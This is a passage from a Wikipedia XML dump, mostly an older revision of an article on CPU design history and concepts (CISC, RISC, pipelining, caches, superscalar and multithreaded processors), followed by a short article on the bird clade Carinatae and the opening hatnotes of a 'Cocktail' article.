&lt;!-- ... Are there other measures of &quot;goodness&quot;, &quot;figures of merit&quot;, that I'm missing here? --&gt;

Some of these measures conflict.
In particular, many design techniques that make CPU run faster make the &quot;performance per watt&quot;, &quot;performance per dollar&quot;, and &quot;deterministic response&quot; much worse, and vice versa.

== History of general purpose CPUs ==

=== 1950s: early designs ===

Each of the computer designs of the early 1950s was a unique design; there were no upward-compatible machines or computer architectures with multiple, differing implementations.  Programs written for one machine would not run on another kind, even other kinds from the same company. This was not a major drawback at the time because there was not a large body of software developed to run on computers, so starting programming from scratch was not seen as a large barrier.  

The design freedom of the time was very important, for designers were very constrained by the cost of electronics, yet just beginning to explore how a computer could best be organized.  Some of the basic features introduced during this period included [[index registers]] (on the [[Ferranti Mark I]]), a return-address saving instruction ([[UNIVAC I]]), immediate operands ([[IBM 704]]), and the detection of invalid operations ([[IBM 650]]).

By the end of the [[1950]]s commercial builders had developed factory-constructed, truck-deliverable computers. The most widely installed computer was the [[IBM 650]], which used [[drum memory]] onto which programs were loaded using either [[punched tape|paper tape]] or [[punch card]]s. Some very high-end machines also included [[core memory]] which provided higher speeds. [[Hard disk]]s were also starting to become popular.

Computers are automatic [[Abacus|abaci]].  The type of number system affects the way they work.  In the early [[1950s]] most computers were built for specific numerical processing tasks, and many machines used decimal numbers as their basic number system &amp;ndash; that is, the mathematical functions of the machines worked in base-10 instead of base-2 as is common today. These were not merely [[binary coded decimal]].  The machines actually had ten vacuum tubes per digit in each [[Processor register|register]]. Some early [[Soviet Union|Soviet]] computer designers implemented systems based on ternary logic; that is, a bit could have three states: +1, 0, or -1, corresponding to positive, no, or negative voltage.

An early project for the [[U.S. Air Force]], [[BINAC]] attempted to make a lightweight, simple computer by using binary arithmetic.  It deeply impressed the industry.

As late as 1970, major computer languages were unable to standardize their numeric behavior because decimal computers had groups of users too large to alienate.

Even when designers used a binary system, they still had many odd ideas.  Some used sign-magnitude arthmetic (-1 = 10001), rather than modern [[two's complement]] arithmetic (-1 = 11111).  Most computers used six-bit character sets, because they adequately encoded [[Hollerith]] cards.  It was a major revelation to designers of this period to realize that the data word should be a multiple of the character size.  They began to design computers with 12, 24 and 36 bit data words (e.g. see the [[TX-2]]).

In this era, [[Grosch's law]] dominated computer design: Computer cost increased as the square of its speed.

=== 1960s: the computer revolution and CISC ===

One major problem with early computers was that a program for one would not work on others. Computer companies found that their customers had little reason to remain loyal to a particular brand, as the next computer they purchased would be incompatible anyway. At that point price and performance were usually the only concerns.

In 1962, IBM tried a new approach to designing computers. The plan was to make an entire family of computers that could all run the same software, but with different performances, and at different prices. As users' requirements grew they could move up to larger computers, and still keep all of their investment in programs, data and storage media.

In order to do this they designed a single ''reference computer'' called the '''[[System 360]]''' (or '''S/360'''). The System 360 was a virtual computer, a reference instruction set and capabilities that all machines in the family would support. In order to provide different classes of machines, each computer in the family would use more or less hardware emulation, and more or less [[microprogram]] emulation, to create a machine capable of running the entire System 360 [[instruction set]].

For instance a low-end machine could include a very simple processor for low cost. However this would require the use of a larger microcode emulator to provide the rest of the instruction set, which would slow it down. A high-end machine would use a much more complex processor that could directly process more of the System 360 design, thus running a much simpler and faster emulator.

IBM chose to make the reference [[instruction set]] quite complex, and very capable. This was a conscious choice. Even though the computer was complex, its &quot;[[control store]]&quot; containing the [[microprogram]] would stay relatively small, and could be made with very fast memory. Another important effect was that a single instruction could describe quite a complex sequence of operations. Thus the computers would generally have to fetch fewer instructions from the main memory, which could be made slower, smaller and less expensive for a given combination of speed and price.

As the S/360 was to be a successor to both scientific machines like the [[IBM 7090|7090]] and data processing machines like the [[IBM 1401|1401]], it needed a design that could reasonably support all forms of processing. Hence the instruction set was designed to manipulate not just simple binary numbers, but text, scientific floating-point (similar to the numbers used in a calculator), and the [[binary coded decimal]] arithmetic needed by accounting systems.

Almost all following computers included these innovations in some form.  This basic set of features is now called a &quot;[[complex instruction set computer]],&quot; or CISC (pronounced &quot;sisk&quot;), a term not invented until many years later.

In many CISCs, an instruction could access either registers or memory, usually in several different ways.
This made the CISCs easier to program, because a programmer could remember just thirty to a hundred instructions, and a set of three to ten [[addressing mode]]s rather than thousands of distinct instructions.
This was called an &quot;[[orthogonal instruction set]].&quot;
The [[PDP-11]] and [[Motorola 68000]] architecture are examples of nearly orthogonal instruction sets.

There was also the ''BUNCH'' (Burroughs, Univac, NCR, CDC, and Honeywell) that competed against IBM at this time though IBM dominated the era with [[S/360]].

The Burroughs Corporation (which later became Unisys when they merged with Sperry/Univac) offered an alternative to S/360 with their [[Burroughs B5000|B5000]] series machines. The B5000 series [[1961]] had virtual memory, a multi-programming operating system (Master Control Program or MCP), written in [[ALGOL 60]], and the industry's first recursive-descent compilers as early as 1963.

=== 1970s: large scale integration ===

In the 1960s, the [[Apollo guidance computer]] and [[Minuteman missile]] made the [[integrated circuit]] economical and practical.

Around 1971, the first calculator and clock chips began to show that very small computers might be possible.  The first [[microprocessor]] was the [[4004]], designed in 1971 for a calculator company ([[Busicom]]), and produced by [[Intel]].  The 4004 is the direct ancestor of the [[Intel 80386]], even now maintaining some code compatibility.  Just a few years later, the word size of the 4004 was doubled to form the [[8008]].

By the mid-1970s, the use of integrated circuits in computers was commonplace.  The whole decade consists of upheavals caused by the shrinking price of transistors.  

It became possible to put an entire CPU on a single printed circuit board.  The result was that minicomputers, usually with 16-bit words, and 4k to 64K of memory, came to be commonplace.

CISCs were believed to be the most powerful types of computers, because their microcode was small and could be stored in very high-speed memory. The CISC architecture also addressed the &quot;semantic gap&quot; as it was perceived at the time. This was a defined distance between the machine language, and the higher level language people used to program a machine.  It was felt that compilers could do a better job with a richer instruction set.

Custom CISCs were commonly constructed using &quot;bit slice&quot; computer logic such as the AMD 2900 chips, with custom microcode.  A bit slice component is a piece of an [[ALU]], register file or microsequencer.  Most bit-slice integrated circuits were 4-bits wide.

By the early 1970s, the [[PDP-11]] was developed, arguably the most advanced small computer of its day.  Almost immediately, wider-word CISCs were introduced, the 32-bit  [[VAX]] and 36-bit [[PDP-10]].

Also, to control a cruise missile, Intel developed a more-capable version of its 8008 microprocessor, the [[8080]].

IBM continued to make large, fast computers.  However the definition of large and fast now meant more than a megabyte of RAM, clock speeds near one megahertz [http://www.hometoys.com/mentors/caswell/sep00/trends01.htm][http://research.microsoft.com/users/GBell/Computer_Structures_Principles_and_Examples/csp0727.htm], and tens of megabytes of disk drives. 

IBM's System 370 was a version of the 360 tweaked to run virtual computing environments.  The [[VM (Operating system) |virtual computer]] was developed in order to reduce the possibility of an unrecoverable software failure.

The Burroughs B5000/B6000/B7000 series reached its largest market share.  It was a stack computer programmed in a dialect of Algol.  It used 64-bit fixed-point arithmetic, rather than floating-point.

All these different developments competed madly for marketshare.

=== Early 1980s: the lessons of RISC ===

In the early [[1980s]], researchers at [[UC Berkeley]] and [[IBM]] both discovered that most computer language compilers and interpreters used only a small subset of the instructions of a [[CISC]]. Much of the power of the CPU was simply being ignored in real-world use. They realized that by making the computer simpler and less orthogonal, they could make it faster and less expensive at the same time.

At the same time, CPUs were growing faster in relation to the memory they addressed. Designers also experimented with using large sets of internal registers. The idea was to [[cache]] intermediate results in the registers under the control of the compiler.
This also reduced the number of [[addressing mode]]s and orthogonality.

The computer designs based on this theory were called [[Reduced Instruction Set Computer]]s, or RISC.  RISCs generally had larger numbers of registers, accessed by simpler instructions, with a few instructions specifically to load and store data to memory. The result was a very simple core CPU running at very high speed, supporting the exact sorts of operations the compilers were using anyway.

A common variation on the RISC design employs the [[Harvard architecture]], as opposed to the [[Von Neumann architecture|Von Neumann]] or Stored Program architecture common to most other designs.  In a Harvard Architecture machine, the program and data occupy separate memory devices and can be accessed simultaneously.  In Von Neumann machines the data and programs are mixed in a single memory device, requiring sequential accessing which produces the so-called &quot;Von Neumann bottleneck.&quot;

One downside to the RISC design has been that the programs that run on them tend to be larger. This is because [[compiler]]s have to generate longer sequences of the simpler instructions to accomplish the same results.  Since these instructions need to be loaded from memory anyway, the larger code size offsets some of the RISC design's fast memory handling.

Recently, engineers have found ways to compress the reduced instruction sets so they fit in even smaller memory systems than CISCs. Examples of such compression schemes include [[ARM architecture|the ARM]]'s &quot;Thumb&quot; instruction set. In applications that do not need to run older binary software, compressed RISCs are coming to dominate sales.

Another approach to RISCs was the [[MISC]], &quot;[[niladic]]&quot; or &quot;zero-operand&quot; instruction set. This approach realized that the majority of space in an instruction was to identify the operands of the instruction. These machines placed the operands on a push-down (last-in, first out) [[stack (computing)|stack]]. The instruction set was supplemented with a few instructions to fetch and store memory. Most used simple caching to provide extremely fast RISC machines, with very compact code. Another benefit was that the interrupt latencies were extremely small, smaller than most CISC machines (a rare trait in RISC machines). The first zero-operand computer was developed by [[Charles H. Moore]]. It placed six 5-bit instructions in a 32-bit word, and was a precursor to [[VLIW]] design (see below: 1990 to Today).

Commercial variants were mostly characterized as &quot;[[Forth]]&quot; machines, and probably failed in the market place because the power and advantages of that language were not commonly understood.  Also, the machines were developed by defense contractors at exactly the time that the cold war ended.  Loss of funding may have broken up the development teams before the companies could perform adequate commercial marketing.

RISC chips now dominate the market for 32-bit embedded systems. Smaller RISC chips are even becoming common in the cost-sensitive 8-bit embedded-system market. The main market for RISC CPUs has been systems that require low power or small size.

Even some CISC processors (based on architectures that were created before RISC became dominant) translate instructions internally into a RISC-like instruction set. These CISC chips include newer [[X86|x86]] and [[VAX]] models.

These numbers may surprise many, because the &quot;market&quot; is perceived to be desktop computers. With Intel x86 designs dominating the vast majority of all desktop sales, RISC is found in the [[Apple Computer|Apple]], [[Sun_Microsystems|Sun]] and [[SGI]] desktop computer lines. However, desktop computers are only a tiny fraction of the computers now sold. Most people own more computers in embedded systems in their car and house than on their desks.

=== Mid-1980s to today: exploiting instruction level parallelism ===

In the mid-to-late 1980s, designers began using a technique known as &quot;[[instruction pipelining]]&quot;, in which the processor works on multiple instructions in different stages of completion. For example, the processor may be retrieving the operands for the next instruction while calculating the result of the current one. Modern CPUs may use over a dozen such stages. [[Misc|MISC]] processors achieve single-cycle execution of instructions without the need for pipelining.

A similar idea, introduced only a few years later, was to execute multiple instructions in parallel on separate arithmetic-logic units ([[ALU]]s). Instead of operating on only one instruction at a time, the CPU will look for several similar instructions that are not dependent on each other, and execute them in parallel. This approach is known as [[superscalar]] processor design.

Such techniques are limited by the degree of [[instruction level parallelism]] (ILP), the number of non-dependent instructions in the program code. Some programs are able to run very well on superscalar processors due to their inherent high ILP, notably graphics. However more general problems do not have such high ILP, thus making the achievable speedups due to these techniques to be lower.

Branching is one major culprit.  For example, the program might add two numbers and branch to a different code segment if the number is bigger than a third number. In this case even if the branch operation is sent to the second ALU for processing, it still must wait for the results from the addition.  It thus runs no faster than if there were only one ALU. The most common solution for this type of problem is to use a type of [[branch prediction]].

To further the efficiency of multiple functional units which are available in superscalar designs, operand register dependencies was found to be another limiting factor. To minimize these dependencies, [[out-of-order execution]] of instructions was introduced.  In such a scheme, the instruction results which complete out-of-order must be re-ordered in program order by the processor for the program to be restartable after an exception. ''Out-of-Order'' execution was the main advancement of the computer industry during the [[1990s]].
A similar concept is [[speculative execution]], where instructions from both sides of a branch are executed at the same time, and the results of one side or the other are thrown out once the branch answer is known.

These advances, which were originally developed from research for RISC-style designs, allow modern CISC processors to execute twelve or more instructions per clock cycle, when traditional CISC designs could take twelve or more cycles to execute just one instruction.

The resulting instruction scheduling logic of these processors is large, complex and difficult to verify.  Furthermore, the higher complexity requires more transistors, increasing power consumption and heat. In this respect RISC is superior because the instructions are simpler, have less interdependence and make superscalar implementations easier. However, as Intel has demonstrated, the concepts can be applied to a CISC design, given enough time and money.

:Historical note: Some of these techniques (e.g. pipelining) were originally developed in the late [[1950s]] by [[International Business Machines|IBM]] on their [[IBM 7030|Stretch]] mainframe computer.

=== 1990 to today: looking forward ===

====VLIW and EPIC====

The instruction scheduling logic that makes a superscalar processor is just boolean logic. In the early 1990s, a significant innovation was to realize that the coordination of a multiple-ALU computer could be moved into the [[compiler]], the software that translates a programmer's instructions into machine-level instructions.

This type of computer is called a '''[[very long instruction word]]''' (VLIW) computer.

Statically scheduling the instructions in the compiler (as opposed to letting the processor do the scheduling dynamically) can reduce CPU complexity. This can improve performance, reduce heat, and reduce cost.

Unfortunately, the compiler lacks accurate knowledge of runtime scheduling issues. Merely changing the CPU core frequency multiplier will have an effect on scheduling. Actual operation of the program, as determined by input data, will have major effects on scheduling. To overcome these severe problems a VLIW system may be enhanced by adding the normal dynamic scheduling, losing some of the VLIW advantages.

Static scheduling in the compiler also assumes that dynamically generated code will be uncommon. Prior to the creation of [[Java_virtual_machine|Java]], this was in fact true. It was reasonable to assume that slow compiles would only affect software developers. Now, with [[Just-in-time_compilation|JIT]] virtual machines for Java and [[.net]], slow code generation affects users as well.

There were several unsuccessful attempts to commercialize VLIW. The basic problem is that a VLIW computer does not scale to different price and performance points, as a dynamically scheduled computer can. Another issue is that compiler design for VLIW computers is extremely difficult, and the current crop of compilers (as of 2005) don't always produce optimal code for these platforms.

Also, VLIW computers optimise for throughput, not low latency, so they were not attractive to the engineers designing controllers and other computers embedded in machinery. The [[embedded system]]s markets had often pioneered other computer improvements by providing a large market that did not care about compatibility with older software.

In January [[2000]], a company called [[Transmeta]] took the interesting  
step of placing a compiler in the central processing unit, and making the compiler translate from a reference byte code (in their case, [[x86]] instructions) to an internal VLIW instruction set.  This approach
combines the hardware simplicity, low power and speed of VLIW RISC with   
the compact main memory system and software reverse-compatibility provided
by popular CISC.

[[Intel]] released a chip, called the [[Itanium]], based on what they call an [[Explicitly Parallel Instruction Computing]] (EPIC) design.  This design supposedly provides the VLIW advantage of increased instruction throughput.  However, it avoids some of the issues of scaling and complexity, by explicitly providing in each &quot;bundle&quot; of instructions information concerning their dependencies. This information is calculated by the compiler, as it would be in a VLIW design. The early versions are also backward-compatible with current [[x86]] software by means of an on-chip [[emulation]] mode. Integer performance has been disappointing as have sales in volume markets.

====Multi-threading====

Current designs work best when the computer is running only a single program, however nearly all modern [[operating system]]s allow the user to run multiple programs at the same time.  For the CPU to change over and do work on another program  requires expensive [[context switching]].  In contrast, multi-threaded CPUs can handle instructions from multiple programs at once.

To do this, such CPUs include several sets of registers. When a context switch occurs, the contents of the &quot;working registers&quot; are simply copied into one of a set of registers for this purpose. 

Such designs often include thousands of registers instead of hundreds as in a typical design. On the downside, registers tend to be somewhat expensive in chip space needed to implement them.  This chip space might otherwise be used for some other purpose.

====Multi-core====
Multi-core CPUs are typically multiple cpus on the same die possibly sharing the same cache to main memory and sharing the same bus to talk to other devices and to talk to eachother.

====Reconfigurable logic====

Another track of development is to combine reconfigurable logic with a general-purpose CPU.  In this scheme, a special computer language compiles fast-running subroutines into a bit-mask to configure the logic.  Slower, or less-critical parts of the program can be run by sharing their time on the CPU.  This process has the capability to create devices such as software [[radio]]s, by using digital signal processing to perform functions usually performed by analog [[electronics]].

====Public domain processors====

As the lines between hardware and software increasingly blur due to progress in design methodology and availability of chips such as [[FPGA]]s and cheaper production processes, even [[open source hardware]] has begun to appear.  Loosely-knit communities like [[OpenCores]] have recently announced completely open CPU architectures such as the [[OpenRISC]] which can be readily implemented on FPGAs or in custom produced chips, by anyone, without paying license fees.

====High-end processor economics====

Developing new, high-end CPUs is a '''very''' expensive proposition. Both the logical complexity (needing very large logic design and logic verification teams and simulation farms with perhaps thousands of computers) and the high operating frequencies (needing large circuit design teams and access to the state-of-the-art fabrication process) account for the high cost of design for this type of chip. The design cost of a high-end CPU will be on the order of US $100 million. Since the design of such high-end chips nominally take about five years to complete, to stay competitive a company has to fund at least two of these large design teams to release products at the rate of 2.5 years per product generation. Only the personal computer mass market (with production rates in the hundreds of millions, producing billions of dollars in revenue) can support such economics. As of 2004, only four companies are actively designing and fabricating state of the art general purpose computing CPU chips: [[Intel]], [[AMD]], [[IBM]] and [[Fujitsu]].  [[Motorola]] has spun off its semiconductor division as [[Freescale]] as that division was dragging down profit margins for the rest of the company.  [[Texas Instruments]], [[TSMC]] and [[Toshiba]] are a few examples of a companies doing manufacturing for another company's CPU chip design.

== Embedded design ==

The majority of computer systems in use today are embedded in other machinery, such as telephones, clocks, appliances, vehicles, and infrastructure.  An [[embedded system]] usually has minimal requirements for memory and program length and may require simple but unusual input/output systems.  For example, most embedded systems lack keyboards, screens, disks, printers, or other recognizable I/O devices of a personal computer.  They may control electric motors, relays or voltages, and reed switches, variable resistors or other electronic devices.  Often, the only I/O device readable by a human is a single light-emitting diode, and severe cost or power constraints can even eliminate that.

In contrast to general-purpose computers, embedded systems often seek to minimize [[interrupt latency]] over instruction throughput.

When an electronic device causes an interrupt, the intermediate results, the registers, have to be saved before the software responsible for handling the interrupt can run, and then must be put back after it is finished.  If there are more registers, this saving and restoring process takes more time, increasing the latency.

Low-latency CPUs generally have relatively few registers in their central processing units, or they have &quot;shadow registers&quot; that are only used by the interrupt software.

=== Other design issues ===

==== Optical communication ====
&lt;!-- [[virtual memory]] moved to [[Computer architecture]] --&gt;

One interesting near-term possibility would be to eliminate the [[front side bus]].  Modern vertical [[laser diode]]s enable this change.  In theory, an optical computer's components could directly connect through a holographic or phased open-air switching system.  This would provide a large increase in effective speed and design flexibility, and a large reduction in cost.  Since a computer's connectors are also its most likely failure point, a busless system might be more reliable, as well.

==== Optical processors ====
Another farther-term possibility is to use light instead of electricity for the digital logic itself.
In theory, this could run about 30% faster and use less power, as well as permit a direct interface with quantum computational devices.
The chief problem with this approach is that for the foreseeable future, electronic devices are faster, smaller (i.e. cheaper) and more reliable.
An important theoretical problem is that electronic computational elements are already smaller than some wavelengths of light, and therefore even wave-guide based optical logic may be uneconomic compared to electronic logic.
The majority of development effort, [[as of 2006]] is focused on electronic circuitry.
See also [[optical computing]].

==== Clockless CPUs ====

&lt;!--
Should I move this &quot;clockless&quot; stuff to
[[asynchronous circuit]],
leaving only a couple of sentences of summary and a link to that article
?
Or is this big enough to fork off its own article,
[[clockless CPU]]s ?
--&gt;
Yet another possibility is the &quot;clockless CPU&quot; (asynchronous CPU).  Unlike conventional processors, clockless processors have no central clock to coordinate the progress of data through the pipeline.
Instead, stages of the CPU are coordinated using logic devices called &quot;pipe line controls&quot; or &quot;FIFO sequencers.&quot;  Basically, the pipeline controller clocks the next stage of logic when the existing stage is complete.  In this way, a central clock is unnecessary. There are two advantages to clockless CPUs over clocked CPUs:
* components can run at different speeds in the clockless CPU.  In a clocked CPU, no component can run faster than the clock rate.
* In a clocked CPU, the clock can go no faster than the worst-case performance of the slowest stage. In a clockless CPU, when a stage finishes quicker than normal, the next stage can immediately take the results rather than waiting for the next clock tick. A stage might finish quicker than normal because of the particular data inputs (multiplication can be very fast if it is multiplying by 0 or 1), or because it is running at a higher voltage or lower temperature than normal.

Two examples of asynchronous CPUs are the [[ARM_architecture|ARM]]-implementing [[AMULET_microprocessor|AMULET]] and the asynchronous implementation of [[MIPS_architecture|MIPS]] R3000, dubbed [http://www.async.caltech.edu/mips.html MiniMIPS].

The biggest disadvantage of the clockless CPU is that most CPU design tools assume a clocked CPU (a [[synchronous circuit]]), so making a clockless CPU (designing an [[asynchronous circuit]]) involves modifying the design tools to handle clockless logic and doing extra testing to ensure the design avoids [[Metastability in electronics|metastable]] problems.  For example, the group that designs the aforementioned AMULET developed a tool called [http://www.cs.man.ac.uk/apt/projects/tools/lard/ LARD] to cope with the complex design of AMULET3.

==== Soft microprocessors ====
''See article [[Soft microprocessor]]''

==Design concepts==
In general, all processors, micro or otherwise, run the same sort of task over and over:

#read an instruction and decode it
#find any associated data that is needed to process the instruction
#process the instruction
#write the results out

Complicating this simple-looking series of events is the fact that [[main memory]] has always been slower than the processor itself. Step (2) often introduces a lengthy (in CPU terms) delay while the data arrives over the [[computer bus]]. A considerable amount of research has been put into designs that avoid these delays as much as possible. This often requires complex circuitry and was at one time found only on hand-wired [[supercomputer]] designs. However, as the manufacturing processes have improved, they have become a common feature of almost all designs.

===RISC===
The basic concept of [[RISC]] is to clearly identify what step 2 does. In older processor designs, now retroactively known as [[CISC]], the instructions were offered in a number of different modes that meant that step 2 took an unknown length of time to complete. In RISC, almost all instructions come in exactly one mode that reads data from one place -- the registers. These ''addressing modes'' are then handled by the [[compiler]], which writes code to load the data into the registers and store it back out. For this reason the term '''load-store''' is often used to describe this philosophy in design; there are many processors with limited instruction sets that are not really RISC.

The side effect of this change is twofold. One is that the resulting logic core is much smaller, largely by making step 1 and 2 much simpler. Secondly it means that step 2 always takes one cycle, also reducing the complexity of the overall chip design which would otherwise require complex &quot;locks&quot; that ensure the processor completes one instruction before starting the other. For any given level of performance, a RISC design will have a much smaller &quot;gate count&quot; (number of transistors), the main driver in overall cost -- in other words a fast RISC chip is much cheaper than a fast CISC chip.

The downside is that the program gets much longer as a side effect of the compiler having to write out explicit instructions for memory handling, the &quot;code density&quot; is lower. This increases the number of instructions that have to be read over the computer bus. When RISC was first being introduced there were arguments that the increased bus access would overwhelm the speed, and that such designs would actually be slower. In theory this might be true, but the real reason for RISC was to allow [[instruction pipeline]]s to be built much more easily.

===Instruction pipelining===
One of the first, and most powerful, techniques to improve performance is the [[instruction pipeline]]. Early microcoded designs would carry out all of the steps above for one instruction before moving onto the next. Large portions of the circuitry were left idle at any one step, for instance, the instruction decoding circuitry would be idle during execution and so on.

Pipelines improve performance by allowing a number of instructions to work their way through the processor at the same time. In the same basic example, the processor would start to decode (step 1) a new instruction while the last one was waiting for results. This would allow up to four instructions to be &quot;in flight&quot; at one time, making the processor look four times as fast. Although any one instruction takes just as long to complete, there's still four steps, the CPU as a whole &quot;retires&quot; instructions much faster and can be run at a much higher clock speed.

RISC make pipelines smaller, and much easier to construct by cleanly separating each stage of the instruction process and making them take the same amount of time -- one cycle. The processor as a whole operates in an [[assembly line]] fashion, with instructions coming in one side and results out the other. Due to the reduced complexity of the [[Classic RISC pipeline]], the pipelined core and an instruction cache could be placed on the same size die that would otherwise fit the core alone on a CISC design. This was the real reason that RISC was faster, early designs like the [[SPARC]] and [[MIPS architecture|MIPS]] often running over 10 times as fast as [[Intel]] and [[Motorola]] CISC solutions at the same clock speed and price.

Pipelines are by no means limited to RISC designs.  By 1986 the top-of-the-line VAX (the 8800) was a heavily pipelined design, slightly predating the first commercial MIPS and SPARC designs.  Most modern CPUs (even embedded CPUs) are now pipelined, and microcoded CPUs with no pipelining are seen only in the most area-constrained embedded processors.  Large CISC machines, from the VAX 8800 to the modern Pentium 4 and Athlon, are implemented with both microcode and pipelines.  Improvements in pipelining and caching are the two major microarchitectural advances that have enabled processor performance to keep pace with the circuit technology on which they are based.

===Cache===
It was not long before improvements in chip manufacturing allowed for even more circuitry to be placed on the die, and designers started looking for ways to use it. One of the most common was to add an ever-increasing amount of [[CPU cache|cache memory]] on-die. Cache is simply very fast memory, memory that can be accessed in a few cycles as opposed to &quot;many&quot; needed to talk to main memory. The CPU includes a cache controller which automates reading and writing from the cache, if the data is already in the cache it simply &quot;appears&quot;, whereas if it is not the processor is &quot;stalled&quot; while the cache controller reads it in.

RISC designs started adding cache in the mid-to-late 1980s, often only 4k in total. This number grew over time, and modern CPU's typically include about 512kbytes, while CPU's intended for server use come with 1 or 2 Mbytes. Generally speaking, more cache means more speed.

===Superscalar designs===
Even with all of the added complexity and gates needed to support the concepts outlined above, chip manufacturing had soon made even them have room left over. This led to the rise of [[superscalar]] processors in the early 1990s, processors that could run more than one instruction at once.

In the outline above the processor runs parts of a single instruction at a time. If one were simply to place two entire cores on a die, then the processor would be able to run two instructions at once. However this is not actually required, as in the average program certain instructions are much more common than others. For instance, the load-store instructions on a RISC design are more common than [[floating point]], so building two complete cores isn't as efficient a use of space as building two load-store units and only one floating point.

In modern designs it is common to find two load units, one store (many instructions have no results to store), two or more integer math units, two or more floating point units, and often a [[SIMD]] unit of some sort. The decoder grows in complexity by reading in a huge list of instructions from memory and handing them off to the different units that are idle at that point. The results are then collected and re-ordered at the end, as in out-of-order.

===Out-of-order execution===
The addition of caches reduces the frequency of stalls due to waiting for data to be fetched from the memory hiearchy, but does
get rid of these stalls entirely. In early designs a ''cache miss'' would force the cache controller to stall the processor and wait. Of course there may be some other instruction in the program whose data ''is'' available in the cache at that point. [[Out-of-order execution]] allows that ready instruction to be processed while the processor waits on the cache, then re-orders the results to make it appear that everything happened in the normal order.


===Speculative execution===
One problem with an instruction pipeline is that there are a class of instructions that must make their way entirely through the pipeline before execution can continue. In particular, conditional branches need to know the result of some prior instruction before &quot;which side&quot; of the branch to run is known. For instance, an instruction that says &quot;if x is larger than 5 then do this, otherwise do that&quot; will have to wait for the results of x to be known before it knows if the instructions for this or that can be fetched.

For a small four-deep pipeline this means a delay of up to three cycles -- the decode can still happen. But as clock speeds increase the depth of the pipeline increases with it, and modern processors may have 20 stages or more. In this case the CPU is being stalled for the vast majority of its cycles every time one of these instructions is encountered.

The solution, or one of them, is ''[[speculative execution]]'', also known as ''branch prediction''. In reality one side or the other of the branch will be called much more often than the other, so it is often correct to simply go ahead and say &quot;x will likely be smaller than five, start processing that&quot;. If the prediction turns out to be correct, a huge amount of time will be saved. Modern designs have rather complex prediction systems, which watch the results of past branches to predict the future with greater accuracy.


===Multiprocessing and Multithreading===
Computer architects have become stymied by the growing mismatch in CPU operating frequencies and [[Dynamic random access memory|DRAM]] access times. None of the techniques that exploited instruction-level parallism within one program could make up for the long stalls that occurred when data had to be fetched from main memory. For this reason, newer generations of computers have started to exploit higher levels of parallelism that exist outside of a single program or [[thread (computer science)|program thread]]. 

This trend is sometimes known as ''throughput computing''. This idea originated in the mainframe market where [[OLTP|online transaction processing]] emphasized not just the execution speed of one transaction, but the capacity to deal with massive
numbers of transactions. With transaction-based applications such as network routing and web-site serving greatly increasing
in the last decade, the computer industry has re-emphasized capacity and throughput issues. 

One technique of how this parallelism is achieved is through [[multiprocessing]] systems, computer systems with multiple CPUs. 
Once reserved for high-end [[mainframe]]s and [[supercomputer]]s, small scale (2-8) multiprocessors servers have become commonplace 
for the small business market. For large corporations, large scale (16-256) multiprocessors are common. Even [[personal computer]]s
with multiple CPUs have appeared since the 1990s. 

With further transistor size reductions made available with semiconductor technology advances, [[Chip-level multiprocessing]] have appeared where multiple CPUs are implemented on the same silicon chip. Initially used in chips targeting embedded markets, where
simpler and smaller CPUs would allow multiple instantiations to fit on one piece of silicon. By 2005, semiconductor technology allowed dual high-end desktop CPUs ''CMP'' chips to be manufactured in volume. Some designs, such as [[Sun Microsystems]]' [[UltraSPARC T1]] have reverted back to simpler (scalar, in-order) designs in order to fit more processors on one piece of silicon.     

Another technique that has become more popular recently is [[multithreading]]. In multithreading, when the processor has to fetch data from slow system memory, instead of stalling for the data to arrive, the processor switches to another program or program thread which is ready to execute. Though this doesn't speed up a particular program/thread, it increases the overall system throughput by reducing the time the CPU is idle.

Conceptually, multithreading  is equivalent to a [[context switch]] at the operating system level. The difference is that a multithreaded CPU can do a thread switch in one CPU cycle instead of the hundreds or thousands of CPU cycles a context switch normally requires. This is achieved by replicating the state hardware (such as the [[register file]] and [[program counter]]) for
each active thread. 

A further enhancement is [[Simultaneous multithreading]]. This technique allows superscalar CPUs to execute instructions from
different programs/threads simultaneously in the same cycle.

== See also ==

* [[Microprocessor]]
* [[Moore's Law]]
* [[Amdahl's law]]
* [[Simultaneous multithreading]]
* [[RISC]]
* [[CISC]]
* [[Misc|MISC]]

[[Category:Computer architecture]]
[[Category:Computer hardware]]

[[nl:Processorarchitectuur]]</text>
    </revision>
  </page>
  <page>
    <title>Carinatae</title>
    <id>7598</id>
    <revision>
      <id>15905659</id>
      <timestamp>2005-06-07T05:34:54Z</timestamp>
      <contributor>
        <username>Algirdas</username>
        <id>127359</id>
      </contributor>
      <minor />
      <comment>+ lt</comment>
      <text xml:space="preserve">In phylogenetic taxonomy, the '''Carinatae''' are considered the last common ancestor of Neornithes (living [[bird]]s) and [[Ichthyornis]] (an extinct seabird of the [[Cretaceous]]). Defined in this way, the group includes all living [[bird]]s, including [[ratite]]s ([[ostrich]], [[emu]], etc.), as well as neognathous birds and a few [[Mesozoic]] forms. 

Traditionally, Carinatae were defined as all birds having a [[keel (bird)|keeled]] [[sternum]]. The carina or &quot;keel&quot; referred to a strong median ridge running down the length of the sternum, or breast bone. This is an important area for the attachment of flight muscles. Thus, all flying birds have a pronounced carina. Ratites, all of whom are flightless, lack a strong carina. Thus, living birds were divided into carinates and ratites. The difficulty with this scheme was that there have been (and still are) any number of flightless birds, without strong carinae, but which are descended directly from ordinary flying birds with carinae. Examples include the [[turkey (bird)|turkey]], a galliform (chicken-like) bird, and the [[dodo]], a columbiform (the [[pigeon]] family). None of these birds are ratites. Thus, this supposedly distinctive feature was easy to use, but had nothing to do with actual phylogenic relationship. 

Unfortunately, the use of this term to describe the Ichthyornis-Neornithine group turned out to be equally inapt. Various dinosaurs -- apparently, remote ancestors and cousins of the Carinatae -- '''do''' possess a keeled sternum. So, evidently the presence of this structure does not necessarily imply its use in [[flight]]. This sort of definitional problem is one reason why the use of physical characteristics to define or name taxonomic groups is now discouraged.

The characteristics that actually are unique to the Carinatae have little to do with the sternum. Rather, carinates are unique in having, for example, a globe-shaped, convex head on the [[humerus]] and fully fused bones in the lower leg and outer arm.


[[lt:Keteruo&amp;#269;iai]]</text>
    </revision>
  </page>
  <page>
    <title>Cocktail</title>
    <id>7599</id>
    <revision>
      <id>42072196</id>
      <timestamp>2006-03-03T17:03:37Z</timestamp>
      <contributor>
        <ip>67.189.108.164</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''For the 1988 film starring Tom Cruise, see [[Cocktail (film)]].''
:''For the crude [[incendiary weapon]], see [[Molotov cocktail]].''
:''In [[scuba diving]], &quot;cocktail&quot; can mean a hazard with diving with some [[rebreather]]s: a caustic solution resulting from water reaching and dissolving the [[absorbent]].''
